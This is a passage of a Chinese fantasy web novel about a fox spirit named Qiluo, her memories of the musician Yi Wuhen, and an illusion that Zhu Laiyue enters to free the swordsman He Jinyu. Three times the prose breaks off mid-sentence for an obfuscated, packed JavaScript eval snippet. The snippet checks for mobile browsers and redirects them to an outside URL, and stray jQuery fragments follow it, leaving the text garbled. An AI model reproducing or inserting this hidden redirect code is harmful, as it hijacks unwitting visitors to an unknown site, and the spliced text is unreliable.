“绮罗。你的名字我好像在哪听过……”绮罗苦思冥想,终于想起来了,有些结巴地问他:“哪个羿?不会是震云派的那个羿吧?”
“是也不是吧。”
“是就是是,不是就不是,哪来的是又不是?”
这一次羿无痕没有配合,选择了用沉默来回答这个问题。绮罗是后来才知道他这句话的含义的。
羿无痕对她说盗窃不是君子行径,收留她并且教她学习乐理,只是绮罗学得比较慢,而且对羿无痕弹的那种古筝也没什么兴趣。
不过有一天,她看见有一家半夜都灯火通明的酒楼,里头的女子个个打扮艳丽,舞姿动人。她拉着羿无痕问他会不会跳舞,她想学这个,不想再学古筝。
羿无痕第一次在她面前红了脸,让她以后不许再来这里,后来他请了一个舞女专门教绮罗跳舞。
学成以后,绮罗想要感谢羿无痕,然后再向他道别。
毕竟她的理想是走遍天下,不可能一直留在京城,尽管这里繁华热闹,还有她交到的第一个人类朋友。
她悄悄去了一趟流织谷,那里是多条大河交汇之地,各种奇花异草繁茂,绮罗在那里摘了一种可以使人延年益寿的果子想送给羿无痕作为谢礼,回到羿无痕的家时,却听见里面吵吵闹闹的。
她心生警惕,小心翼翼地靠近,看见里面多了好几个陌生人,他们穿着清一色的劲装,而羿无痕倒在地上,奄奄一息。
为首的那个踹了他一脚,怒斥道:“你这个震云派的败类!废物!不许你以后再说你姓羿,简直丢了大师姐的脸,听说你还和狐妖为伍,更是正道之耻!把狐妖叫出来,我今天就替天行道!”
绮罗气得双目赤红,刚想冲过去把那群人都打趴下,却被倒在地上的羿无痕发现了,也不知道他哪来的灵力,竟束缚住她的行动,令她无法动弹。
“妖又如何?”羿无痕面色苍白如纸,无力地讥笑一声,“你的正道在我眼中不如那只狐狸的一根狐狸毛。她虽然是妖,却善良讲义气,而你自小在门中没少受我照拂,如今恩将仇报,这就是你的正道?”
那人像是被戳穿了面具一般,那张脸红了又白,白了又红,他又狠狠地踹了羿无痕几脚,直到他丝毫不还手,觉得没趣才领着一群人离开了这里。
绮罗终于知道初见时羿无痕那句“是又不是”的含义了。
他是震云派掌门之子,那个厉害的怪物羿无烟是他的亲妹妹。
他从小就不喜欢修炼,天资过人却装了十几年的废材,直到有一天彻底离开了震云派才终于开始能做自己想做的事。
他学习乐理也很快,不出几年就已经是京城最有名的乐师了,再加上他那副秀气的外表,很受那些名门贵女的欢迎。
羿无痕渐渐地积攒了一些钱财,有了自己的宅子,最喜欢的事除了弹古筝便是穿鲜艳华美的衣裳。
这次震云派的人来找麻烦,估计是不知道从哪得来的消息,原本他的身边该是无人知道绮罗是狐妖的。震云派的人把这个消息散播了出去,京城也待不下去了。
其实绮罗有些羡慕他,如果她有羿无痕的天赋可能就不会离开青丘了,但她更理解他,理解那种迫切地想要自由的心情。
一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840332|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人一妖自此踏上了流浪之途。
原本这样的旅途即使偶尔风餐露宿,绮罗也觉得很快乐,能看到广阔无垠的天地,没有一个人会教训她,还有最好的朋友。
其中好几次羿无痕都可以将绮罗推出去,他可以继续做他的无痕公子,继续当一个有名声有钱的乐师,但他没有一次这样做。过着名声散尽又穷苦的日子,不知为何,他也觉得很快乐。
可是这种快乐不可能一直持续下去,总有结束的那天。
回忆到这里,胡媚儿的舞姿竟然有了几分停顿。
一舞终了。
整场的宾客都不禁为这样美丽的舞姿有些动容,在那疾风中,她的舞不仅仅是一支舞了,仿佛在诉说着千百年的心事,所有人都被感染了。
躲在角落的康行渡竟然不受控制地落下泪来,像是终于想起了一些事,被遗忘了太多年的一些事。
胡媚儿一跃而下,侍从连忙上前对她说:“少爷有事相商,请后院一叙。”
胡媚儿闻言,看向不远不近处“康行渡”的表情,他正站在屋檐之下,屋檐在他脸上投下一块阴影,胡媚儿看不清他的神色,她又很想知道他会不会有一瞬的动容。
贺今羽先行一步往后院走,胡媚儿不疾不徐地跟在后面,既不紧张亦不从容。
城主一看机会来了,连忙疏散宾客和仆从们。
众人从被大阵笼罩的城主府鱼贯而出,在城主的安排下有序地离开了这里。
这时,一个常跟着少城主的侍从从人群中挤出来,连忙跟城主说:“大人!大人!少爷不见了!”
城主听完这话,有如五雷轰顶,当即准备往回冲,可不知为何,出了大门后,这城主府仿佛形成了一种屏障,他们也进不去了。
城主在门口急得垂手顿足,这活了半辈子就这么一个孩子,要是出什么意外……城主不愿再想下去了。
且说胡媚儿跟着伪装的“康行渡”来到后院,他背身而立,喜服的正红色显得格外刺目。
“少城主有话要说?”
“贺今羽,一切都准备好了。”祝来月穿着喜服从暗处冒了出来,将白羽剑抛给他,示意他不必再演下去了。
贺今羽竟然有种如释重负的感觉,这种事实在是他不擅长的。他宁可和狐妖过两招。
他褪去易容之术,露出了原本的模样,那张冷峻的脸让胡媚儿想起来他是谁。
“前些日子偷袭不成,竟然绕了这么大一圈,你们究竟想做什么?”
“自然是取回宗门至宝——风栖!”话音未落,白羽剑已然出鞘,以迅雷之势刺向那只千年狐妖。
狐妖很有些想嘲笑他,那日他就完全追不上她的速度,今日又来献丑。她向后避开,这次却失败了,那把锋利无比、见血封喉的白羽剑已经刺入了她的胸口。
狐妖反应迅速,连忙向旁边一个翻身,白羽剑并未刺进去太多,但是这个口子也算不得浅了。胡媚儿这才发觉自己的行动竟然迟缓了许多。
锁妖阵,根据祝来月的灵力程度,即使是经过半个月的改良准备也无法将千年之妖彻底定死,至多只能将它困在阵内,行动迟缓些。但是这个程度已经足够贺今羽制服她了。
因为胡媚儿天生跑得快,她几乎很少受伤,胸口处被剑刺伤的疼痛让她不禁回想起上一回受伤的情景。
拜羿无痕那个天才妹妹所赐。
12. 幻梦
他们已经流浪了几年了,羿无痕快要三十岁,绮罗仍然是少女的模样,虽然行事机敏狡黠,但在某些事上颇有其母遗风。
春天,羿无痕带她去有很多花的地方,他支支吾吾,她神色坦然;
夏天,羿无痕同她湖心泛舟,他耳根微红,她悠然自得;
秋天,羿无痕陪她在红透了的枫林下漫步,他暗送秋波,她茫然不解;
到了冬天,羿无痕终于忍无可忍,在无垠的雪原上壮着胆子搂她,说想伴她一生,绮罗愣神说你这个笨蛋,狐妖的寿命比人长多了。
绮罗以为他冷,于是变回狐狸也搂着他,狐狸赤色的皮毛极暖和,羿无痕在这温暖中默默流泪。
此后羿无痕再没对她告白过。
后来来了一个不速之客,绮罗来到人间第二次来不及逃,就被羿无烟一掌击翻在地。
天才少女冷眼看着狐妖,道:“妖物,缠着我兄长意欲何为?”
这一掌可不像羿无痕的那一拳一样留了余地,绮罗吐了口血,“羿无痕是我朋友,我只是喜欢和他在一起,这也有错吗?”
“妖物的话不可信。”
外出的羿无痕突然回来,正好撞上这一幕,脸色一下子就沉了,看着久别多年的亲妹妹,他心里忽然有些冷。
“羿无烟,你干什么?”
“哥哥,你来得正好,我收拾完这只狐狸你就自由了。”羿无烟喜出望外。
羿无痕将绮罗护在身后,厉声道:“住手,我在退出震云派那日就已经是自由之身。旁人打搅我的生活也罢了,如今连你也是如此。”
羿无烟发现兄长生了气,更加不解,“季飞说你被狐妖抓走了,我找了你好久……”
季飞正是那日带头找羿无痕麻烦的白眼狼。
误会解开后,羿无烟非常镇重地向绮罗道了歉,希望她能原谅。
这天底下谁都有可能害羿无痕,但她绝不会做伤害兄长之事。她也是除了绮罗以外唯一一个知道羿无痕藏拙之人。
得知兄长被狐妖抓去的消息之后,她马不停蹄地寻找他们的下落。她想起当年兄长不顾多重责罚的情景,他拼死也要退出震云派,为自己争取自由的余生。
羿无烟没有什么能为他做的,只想守住兄长拼死换来的自由。眼下知道兄长过得很好很自由,她也就心安地离开了。
上一回受伤,绮罗得知这个世界上还有一个人也像她一样在乎羿无痕,这一回被剑刺伤又会看见什么呢?
思绪回到现在。
胡媚儿捂着伤口,忍不住笑了笑,从前她还真以为自己除了逃跑什么都不会,后来她才发现自己的妖血竟然有致幻的能力,这或许是父亲传承给她的力量吧。
别的狐狸要修炼才能学会幻术,而她的幻术底子已然刻在血液里了。
她摊开那只沾满了妖血的手,血香在空中弥漫开来,在她千年之力的加持下,很快就充满了整个阵法。
贺今羽已经是以最快速度捂住了口鼻,可是仍然没用。
他一下子脱了力,倒在地上,白羽剑却还是死死地握在手里。
祝来月见状况不妙,连忙去到贺今羽的身边,摇了他好几下,他都毫无反应,像是睡得死沉。
她看向狐妖,问她:“你的幻术会不会致死?”
“不会。”胡媚儿显得很坦然,“但是你也可以赌一赌,是他先克服幻术,还是你这阵法先失效。”
祝来月在脑海中拼命搜刮关于狐妖幻术的知识,终于想起了一些零星的线索。
狐妖的幻术以人的情感为引,越是执迷不悟的人越是难以挣脱,相反,越是豁达、无牵无挂的人就越不会中招。
胡媚儿释放幻术已然有一段时间了,祝来月依旧能够保持清醒,这说明她可以免疫这种幻术。而贺今羽却深陷其中,这让她很困惑,他修剑之道,必然心智坚定,心力高于旁人,怎么会这么轻易就中了幻术?
“看来他执念很重呢。”胡媚儿哧哧地笑着,“不妨告诉你,你可以进去他的幻境,解开他的心结。可是你能找到吗?”她也许是根本不相信执念如此之深的人能够轻易解开心结,于是大大方方地告诉了她一种解开幻术的方法。
经她提醒,祝来月想起来一种法术可以进入幻梦之中,“是吗?我的气运一向尚佳,胡班主可敢与我打个赌?”
“你且说来听听。”胡媚儿饶有兴趣地望着她。
“若是我解开他的幻术,可以请他放过你,但是你必须交出两件东西——风栖和残片。若失败了,你自然可以离开这里。”
胡媚儿下意识摸向了腰间坠着的木雕残片,竟然非常爽快地同意了。
“别怪我没提醒你,此去若是心智混乱,不止是他,你也会迷失在幻梦之中。”
祝来月谢过她的提醒,开始施展法术以进入贺今羽的幻梦,那狐妖也许真的毫不担心似的,甚至还在一旁替她护法。
在她进入幻梦之后,胡媚儿起了身,若有所思地望着他们两个,自言自语了一句:“看着倒与凡人无异,可你究竟是什么来历呢?”
她不再管这两个人,而是走到了一片花圃之后,看到原本藏在这里的一个人,他也中了幻术,倒在地上。
胡媚儿蹲在他身边,看着这张无比熟悉又无比陌生的脸,想到他的前世追了自己一生,待到他垂垂老矣,头发花白时她才堪堪明白。
可那时已然很晚了。或许这一切真是羿无痕的灵魂在偷偷报复她那近百年的迟钝,这一世胡媚儿再怎么示好都只能将康行渡越推越远。
胡媚儿自嘲般地笑笑。
可他真是羿无痕吗?连她也想不明白。
除了那张完全一样的脸和真诚又张扬的个性,倒也没什么相像的。
康行渡比羿无痕孝顺多了,城主让他往东他绝不往西,城主关他禁闭他也从不偷溜,更别说一意孤行地放弃那么高的地位离家出走了。
也许真的不该再打扰他平凡又美满的这一世了。
幻梦之中。
祝来月来到一座极高的山上,这山远远望去竟然像是一把巨剑,高耸入云,直刺天际。这山上有许多的松树,旁边还接连了许多座山,连成了一片山脉。这一整片山脉都灵力旺盛,若是在此地修炼可以达到一日千里的效果。
一个身穿白衣的人迎面而来,腰间配了一把剑和一块木质令牌,令牌上写了“灵霄宗”三个字,还刻了一只仙鹤。
原来这里就是灵霄山脉的主峰松山。祝来月暗自想到,她听贺今羽提起过。她上前想去问贺今羽身处何处,谁知那人竟然直直地路过了她,简直像是没看见她似的。
好像还真是没看见她。
祝来月想起这里是幻境,里面的一草一木
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840333|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乃至所有人都是贺今羽的执念所生,这也是她无法同他们交流的原因。
紧接着,突然来了许多人都涌向一个地方,她跟了上去,来到一座楼阁之外,那群弟子站在楼阁之外争先恐后地趴在紧闭的窗户之上,每个人都竖起耳朵听里面的情况,他们的脸上充满了好奇。
他们小声讨论说:“听说少宗主又得罪别的门派的人了。”
“不是我说,少宗主确实太不会说话了。”
“是啊,还是景师兄在旁周旋,不然那边脸都挂不住了。”
“你小声点!少宗主又没真说什么难听的话,不过是没顺着那边的意思罢了。”
“那他作为少宗主本来就该将宗门利益放在第一位,你见过哪个宗主还能因个人喜恶与江湖中其他势力作对的?”
那群人意见相左,讨论竟然开始激烈起来,里头突然传来一声低喝:“都给我练功去!”
众弟子顿时作鸟兽散,一瞬间便没了人。
祝来月抬头一看,楼阁上有一块大大的牌匾,上面的字苍劲有力,甚至隐隐透出一种剑意,写着“戒律阁”三个字。她试着推门,发现竟然直接穿过了它,直接进到了戒律阁之内。
里面站了几个仙风道骨的老者和几个中年人,为首的是一个中年男子,他们全部都身穿白衣,只不过样式比外边那些弟子更精致些。
中年人的腰间都挂了令牌,有的是紫金令牌,或是银质的。
银质的令牌上面没有图案,只有灵霄宗。而紫金令牌上有的有图案有的没有。老者没有则是没有令牌。
为首的中年男子看着是他们之中地位最高的人,他腰间的令牌乃是最上乘的灵玉所制。
他们中间还围着一个约莫十岁出头的小男孩,小男孩身上有许多伤痕,挺直身躯跪在地上,这个年纪却透着一种与之不匹配的沉着冷峻的神情,祝来月忽然觉得有些眼熟。
直到看到他腰间没有图案的紫金令牌,她才知道这个小孩就是贺今羽,她在他身上见过这个令牌。
灵霄宗的令牌材质是用来划分等级的,灵玉为首,紫金次之,接着便是银质与木质的令牌。图案则是根据四脉所属,比方说鹤栖之人令牌上皆有一只仙鹤,浮玉之人是阴阳图,幽篁里和天工则分别是竹和火焰的图案。
而像是宗主、少宗主和戒律长老则不属于四脉之中任何一脉,所以他们的令牌是没有图案的。
这些都是贺今羽闲暇时同她说过一次,祝来月大致猜出了他们各自的身份。
幽篁长老似是心有不忍,劝那为首的中年男子道:“宗主,少宗主年幼,这样的惩罚是否太重了些?”
宗主冷哼一声,“轻了他不长记性。”
其中一个老者打圆场道:“老朽认为小羽已经明白了你的苦心,我们也该点到为止。宗主今日可有空暇?老朽新得了一坛子好酒。”
宗主似乎很愿意卖他这个面子,于是同他而去,其余几位长老也都陆陆续续离开了戒律阁,幽篁长老掏给他一瓶丹药后也离开了。
贺今羽终于不再苦撑,严重的伤势已经使他无法板正地跪着。他倒在地上,眼睛很想闭上。
朦胧间,他看见了一个还没有走的人,一个从未见过的貌美女子。当她向自己走来时,他似乎闻见了她如绸缎般的青丝透着一股淡淡的桃花香气,紧接着他就失去了意识。
13. 执念
当贺今羽再度醒来时,那个陌生女子正在他的身侧看着他,他立刻警惕站起身向后退了好几步,身上的伤传来剧痛,但他已经习惯忍耐了。
“你是谁?”他非常清楚她绝不是灵霄宗的人,他从来没见过这个人。
“你先把药吃了吧,我好像碰不到除你之外的物品。”祝来月有些苦恼,她原本想把幽篁长老给他的灵药喂下去,结果竟然拿不起来。
不过她倒是可以抱起贺今羽,于是便把他转移到松林之中,这里没什么人经过。
贺今羽一直保持着警惕,这让祝来月非常头疼,这样下去别说解开他的心结了,就连接近他都很难做到。
“你父亲为何对你这么严厉呢?你都被我带出来好一阵子了,也没人来找你。”
“这是我必须做的。”贺今羽默默服下丹药,仍然紧紧盯着她。
“做什么?”
“……”
“你日日练剑,怎么他还是不满意?”
“父亲……宗主只是觉得我与其他宗门之人打交道时不够圆滑,并不是因为我练剑不够勤奋。你怎么知道我日日练剑?”他看祝来月的眼神更警惕了。
祝来月神秘地冲他笑笑,“其实我是神仙,一直在你身边看着你。”
贺今羽果然不同于其他十岁左右的小孩,完全不信这种话:“六界之间自有屏障,神与仙是不可能来得了人界的。”
没错,六界除了人界与妖界互通以外,其余基本是不可能来去自如的。
祝来月不再逗他,问他道:“你就没想过不做这个少宗主吗?”
在她看来这世上没有什么东西是一个人生来就必须承担的责任,既然他自己不喜欢也不擅长人情世故,还不如干脆放弃。
贺今羽沉默了一阵,最后长长地叹了口气,“你不懂。”
他虽然这样说着,但神色却有些动容,像是要被她说动,又或者他本就有些动摇。
此时天地忽然变色,周遭事物开始扭曲,以贺今羽为原点开始纷乱,无数的松针在空中旋转着飞扬,一阵强烈的风传来,祝来月站不住随着风被卷入这场漩涡之中。
不知过了多久,当天地再次平定下来时,眼前那个有些动摇的小男孩消失了,她发现自己仍然在松山上,但景色有些微妙的变化。
此刻已经夜深,贺今羽一个人站在一个台上练剑,其余弟子都进入了梦乡。他现在看上去十六七岁的模样。
还真是固执。祝来月心想。也许只有剑能让他感受到平静吧。
她站在台下,对着那个固执地练剑的人说道:“你练得再厉害也改变不了你不擅长同人打交道的事实,你根本不适合做一宗之主。”
宗主不是打手,整个宗门上下大小事务都要经过他的管辖,与其余门派的关系也需要宗主去斡旋。
没有人能否认贺今羽在剑道上的天赋和刻苦,但这只能证明他适合修炼,其余什么也证明不了。
贺今羽像是被戳到痛处似的,面色变得更冷,“你是谁?”
又不记得了。祝来月叹叹气,好不容易才让十一二岁的贺今羽放下些警惕,如今又要再来。
真是麻烦的人,还整日嫌弃别人麻烦。
她决定一不做二不休,彻底激怒他试试,不破不立,说不定这样能解开他的执念。
“我是谁不重要,重要的是少宗主这个责任你担不起。”
显然贺今羽被她的言语激怒了,他手执白羽剑,用他最惯用的招式想要一剑击败这个对他口出狂言的陌生女子。
祝来月连忙闪躲,可修为浅薄的她怎么可能是贺今羽的对手?
她连连闪躲好几下,几乎用尽了全部灵力都只是很勉强才与剑锋擦过,“你听我说完好吗?”她试着说服他。
可贺今羽什么都听不进去。这些年他努力地去尝试看懂别人的表情、别人话里的另一层意思,可是真的很难做到。
所以他比全部弟子加起来都要更努力地练剑,天真地以为只要实力够强就可以不去管旁人的闲言碎语。
他有时候会想到那个七百年前的散修,作为天下第一剑侠,不属于任何一方势力,不需要为任何一个人负责的戚少雁。
父亲……不,是宗主,他最不喜欢宗门里的老人对弟子们讲戚少雁的传奇故事,他一向认为强大的实力代表必须承担更多的责任。
但近些年已经很少会再想了,他开始明白实力越强,宗主就对他越严格。比方说他前些日子取得了争鸣大会的魁首时,宗主依旧不满意。
实力不能让必要的人情世故消失,只要他做一天少宗主,就得承担一天振兴整个宗门的责任。
仅仅依靠个人的力量是不能使灵霄宗永远处于天下第一宗的位置的。他必须去学习处世之道,因为他是未来的宗主,是整个灵霄宗的象征。
如果他继续孤傲,也许能成为一代名侠,像戚少雁那样,但一定成为不了守卫一方的宗主。而他必须做宗主。
“你不懂。”他的动作依然不停。何况那封印了七百年的凶兽近些年愈发地躁动,不论是统领宗门的重任又或是将凶兽再次封印的使命都压在了他的身上。
这十几年一直都是这样过来的。
又是这句话。祝来月没有思考的余力,只能尽力去躲开他的剑。幸好这是幻境中过去的贺今羽,若是现在的贺今羽,她恐怕一招都躲不了。
但是很快祝来月的力气就不够了。她的修为太低,体力跟不上既有天赋又有刻苦的贺今羽,他显得游刃有余,可她已经精疲力尽了。
那柄锋利无比的白羽剑刺伤了她的胳膊,血液汩汩而出。即使是在幻境中,痛觉也不会消失,祝来月痛得倒在地上。
贺今羽见她受伤,便没有再继续出剑。
“你到底为什么这么执着于要做少宗主?”她的嘴唇因为失血而泛白,连说的话都不如刚才铿锵有力。
“我不能辜负父亲的希望。”贺今羽下意识地回答了她的问题,话说完时他才反应过来自己所做的一切努力只是让父亲满意而已。
“那你自己的希望呢?”祝来月再次问他。
贺今羽想要说些什么,比如说“父亲的希望就是我的希望”或者别的什么,可他张张嘴,什么都没说出口。
她的胳膊流出的血液在地上蔓延,忽然,地面竟然顺着她血液的流势开始分裂。
祝来月吃力地想要起身查看什么情况,却抬头看见连那漆黑得没有一颗星的天空也开始开裂,从那裂缝中透进来无数束白色的光芒。
很快整个幻境都被刺眼的白光笼罩,在强光之下,他们互相看不清对方的表情。
为了避免被强光刺伤,祝来月闭上了眼睛,顿时感觉整个地面都在向下坠落,突如其来的重力让她猝不及防。
她听见贺今羽痛苦的呐喊声,接着便失去了意识。
恢复意识后,她望向四周熟悉的建筑,她回到现实了,这里是城主府的后院。她连忙爬起来,感到胳膊一阵疼痛,却没有伤口。
一旁的贺今羽竟然也转醒了。看来她赌赢了,真的解开了狐妖的幻术。
“你还真有些本事。”胡媚儿并没有惊慌失措,而是大大方方地来到两人的面前,“按照赌约,风栖和木片我都会还给你们。”
这一切顺利得让人心生怀疑。
不过狐妖
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840334|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没给祝来月迟疑的机会,她取出那个琉璃小瓶子,她正是靠此物来将所有东西都装起来的。
她施法取出了一早藏在里面的灵霄宗至宝——名剑风栖,将它随手扔给了还在反应现在是什么情况的贺今羽。
随后,她将佩戴在腰间几百年的木雕残片给了祝来月。
她接过木片,说道:“我有问题想问胡班主。”
“如果是关于盗剑的理由和残片的来历你就不必开口了,我是不会告诉你的。”
她说得坚定,再加上东西给的干净利落,连祝来月也不好意思再问她了。
突然从角落中冲出来一个人,那人三步并作两步,冲到胡媚儿身前,将她护在身后,对着贺今羽说道:“你不许伤害她!我反悔了,不用你们捉妖。”
这人正是一直藏在暗处的康行渡。
这个举动让两人一妖都傻眼了。
什么情况?
但接下来,又不知从哪里冲出来了许多人,祝来月认出来他们是赤衣百戏班的人,他们有几个拿着表演百戏时会用到的一些刀枪棍棒,气势汹汹地也挡在胡媚儿身前。
其中一个说:“就是!你们这群自诩正道之人不许伤害我们班主!”
另一个一把推开康行渡,说道:“你小子哪来的?离我们班主远点!靠这么近,鬼鬼祟祟!”
三人一妖都傻眼了。
最后终于解开误会,他们表示并不会伤害胡媚儿。不过康行渡就有点说不清楚缘由,只是突然身体自己动起来就冲出去挡在前面了。
贺今羽拿回风栖剑,也算完成了任务,也同意了不再追究。
在胡媚儿离开城主府的时候,祝来月跟了上去,两个人就这样在入夜后空无一人的街道上散步。
“我想知道为什么。”祝来月对她说。
“我说了不会告诉……”胡媚儿的话未说完,就被她打断了。
“我指的是你为什么整日追着少城主?”
一只活了千年的狐狸怎么会喜欢上一个不足二十的毛头小子?祝来月难以理解。
“感情的事哪有那么多为什么,连我自己也不明白。”胡媚儿自嘲般笑笑,她接着说道:
“如果有一天你爱上一个人,可是已经太晚太晚,晚到那个人没几天可活。这个时候有个人告诉你人死后经过冥界,有的灵魂留在那里,有的灵魂则回经过轮回再次来到人间。你会不会想和那个人第二次相遇?”
祝来月试着想象那样的情景,发现无论如何也代入不进去。说到底爱情是一种什么样的体验她就难以想象,它不像是阵法或者什么法术秘诀,只要你勤加练习、记住诀窍就可以做到。
但她也从她的比喻中明白了一些事:“所以康行渡是你曾经爱过的人的转世?”
胡媚儿并没有否认,只是点点头。
“你是怎么确定他是那个人的转世的?容貌?性格?”祝来月喜欢刨根问底,尤其是这些稀奇古怪的事,她头一次听说转世之说,更是想要了解清楚具体流程和细节。
“我去过一趟冥界。在那里找到了他的灵魂,我是亲眼看见他的灵魂去处的。”
祝来月觉得她这话里还省略了很多东西,但她像是不想再说更多,“六界之间不是除了人界和妖界都不能任意往来吗?”
“是啊,很难。几乎九死一生。”狐狸似乎不愿意回味那种体验,快速转移了这个话题,“你是怎么解开我的幻术的?”
“其实我也不清楚。”
她只记得贺今羽将她刺伤,流了血,然后整个幻境就崩塌了。
狐狸神秘兮兮地冲她微笑,告诉她,她的命运一定是与众不同的。
14. 忘忧
祝来月无法理解她没头没尾的这句话。
狐狸说这个世界上极少有人可以完全抵抗她的幻术,除非那人的心智坚韧不拔,又几乎没有执念才可以做到。
祝来月也笑笑,说你的幻术可能有缺陷。因为祝来月无疑是有执念和欲望的,而且比许多人都要强烈。
她对于未知的事物充满憧憬,也像大多数平凡的人们一样渴望着能活得更久一些,像许多江湖人士一样期盼着修为更高一些,终有一日可以渡劫化仙。
“不,我的幻术没有缺陷。”胡媚儿忽然觉得她说话有意思,“你别叫我胡班主了,叫我绮罗吧。”
“绮罗?你不是叫胡媚儿吗?”
绮罗告诉她那是艺名,一脸她在百戏这方面极其专业的样子。祝来月又说她的手下们真是都很关心她,其中既有人族也有妖类,却忠心耿耿地跟着绮罗到处跑。
比如那天夜里他们绑架的那个手下,如何威逼利诱也不能使那个人说半句对绮罗不利的话。今日也是,全部的人和妖心甘情愿地为班主付出一切。
绮罗却说他们并不是手下,而是朋友。
大家都是无家可归之人,大多数人都是在家乡没有了立足之地,更有甚者连家乡都没有。绮罗看到他们就想到离开青丘时那个风从她的耳边掠过的夜里。
他们都是在羿无痕之后认识的最重要的朋友,也是因为人界有他们在,绮罗才不觉得有那么孤单。就像羿无痕和她的流浪一样,一点都不会再孤单了。
“你也是我的朋友了。”绮罗对她说,“等有一天你找回全部残片,我就把我知道的全部告诉你,我就在荣州等你。”
城主府内,康行渡在贺今羽的房间外边来回踱步,神色纠结。吵得贺今羽起身去开了门,问他:“有事?”
康行渡对他有心理阴影,下意识往后退了两步,呵呵笑了两声,条件反射地说了两次“没事”,说完又后悔地连忙说了两次“不对”。
贺今羽蹙起眉头,显得很不耐烦。
“本少也不清楚,就是恍惚做了一个梦,梦里的人又熟悉又陌生,本少好像从前便认识那只狐妖,可我明明很怕她……我是不是有时候对她太过分了?贺大侠?”康行渡扯了一通,转头才看见贺今羽的房门不知何时已经关上了。
“真讨厌,还以为灵霄宗的人都像景大哥一样平易近人呢。”他小声抱怨道。
吃了个闭门羹的康行渡没办法只好回房。
回去的路上正好碰上了刚回来的祝来月,顿时想把一肚子苦水都说出来,他语无伦次地又说了一遍,还说了他对贺今羽热脸贴冷屁股的事。
祝来月耐心地听完,邀请他到房里,她沏一壶茶请他坐下来慢慢讲。
康行渡顿时感动地说:“姐姐你简直是人美心善啊。”
回到房内后,祝来月慢悠悠地沏茶,听他讲述完整个来龙去脉。
原来刚才他一直躲在角落观察狐妖的动静,突然就中了幻术。在幻境里他看到了一个和自己长得一模一样的人在冰天雪地里搂着那只狐妖,说了许多表露心意的话。
又看到一个满头白发的老人穿着喜服,身边躺着一个同样穿着喜服的狐妖。
狐妖一直在向那个老人道歉,说什么太迟了的。那个老人闭着眼睛,显然是已经快要死了。康行渡还来不及深究,狐妖就给他解开了幻术。
说完后,康行渡总结性地说出了一种可能性:“会不会本少前世就认识了她?可是前世今生这种事不是话本里才有的吗?”
祝来月将沏好的茶端给他,坐在另一侧的椅子上,说道:“前世今生之说,有也好无也罢,既然是过去之事,少城主不如放下为好。”
康行渡喝了一口茶,刚想反驳些什么,忽然感到头部一阵剧痛,茶杯落在地上应声而裂。他疼得龇牙咧嘴,“这茶……有……”
“有问题”三个字还未来得及说出口,他就失去了意识。
祝来月叹了口气。方才在与绮罗分别之前,狐狸将忘忧茶给了祝来月,希望她能让康行渡喝下。
只因康行渡显然已经想起了前世的零星记忆,而绮罗又已经决意不再追着康行渡。
她知道即使住着同一个灵魂,他们也还是两个人,羿无痕是不可能回来了。所以自然不能把与他无关的康行渡再拉进她自己的执念里。
绮罗从前固执地以为只要康行渡想起来,康行渡就会是羿无痕,可是康行渡永远只是康行渡。即使他想起来一切,绮罗也无法将他再当作羿无痕对待,这样对谁都不公平。
他们之间的感情纠纷祝来月不愿过多干涉,自然尊重了狐狸的决定。她看着倒在地上的康行渡,突然有点犯难。
怎么把他送回去?
康行渡毕竟不是幻境里十岁出头的贺今羽,她可以轻易抱起。
对,贺今羽。她灵机一动,往贺今羽的房间走去。
贺今羽听到门外又传来敲门声,不耐烦地开了门之后,说道:“又有事?怎么是你……”看到来人并不是康行渡之后,他有些意外。
“我有事想请你帮忙。”
“嗯。”
贺今羽跟着她出了房间,脑海里满是幻境中他刺伤祝来月的画面,尽管那并非他的本意。
应该很痛吧,白羽剑是灵霄宗最好的剑之一。
他看着她的背影,思考着应当如何向她提起这件事会显得自然些。
两人很快便来到了祝来月住的客房,推门一进去,贺今羽看见倒在地上的少城主,不解道:“他怎么在这里?”
“此事说来话长,回头再和你说。我想请你把他送回他房间。”
这倒是小事,他正对祝来月心存愧疚,当然不能放过这个弥补的机会。
当他将少城主送回他自己的房间之后,祝来月对他大致讲了事情的来龙去脉。
贺今羽对他们之间的纠葛不甚在意,只是狐妖蹊跷,费尽心机盗来的风栖却轻易还给了他们,还有着祝来月寻找的木雕残片之一。
顺利得简直像是有人刻意安排似的。
但关
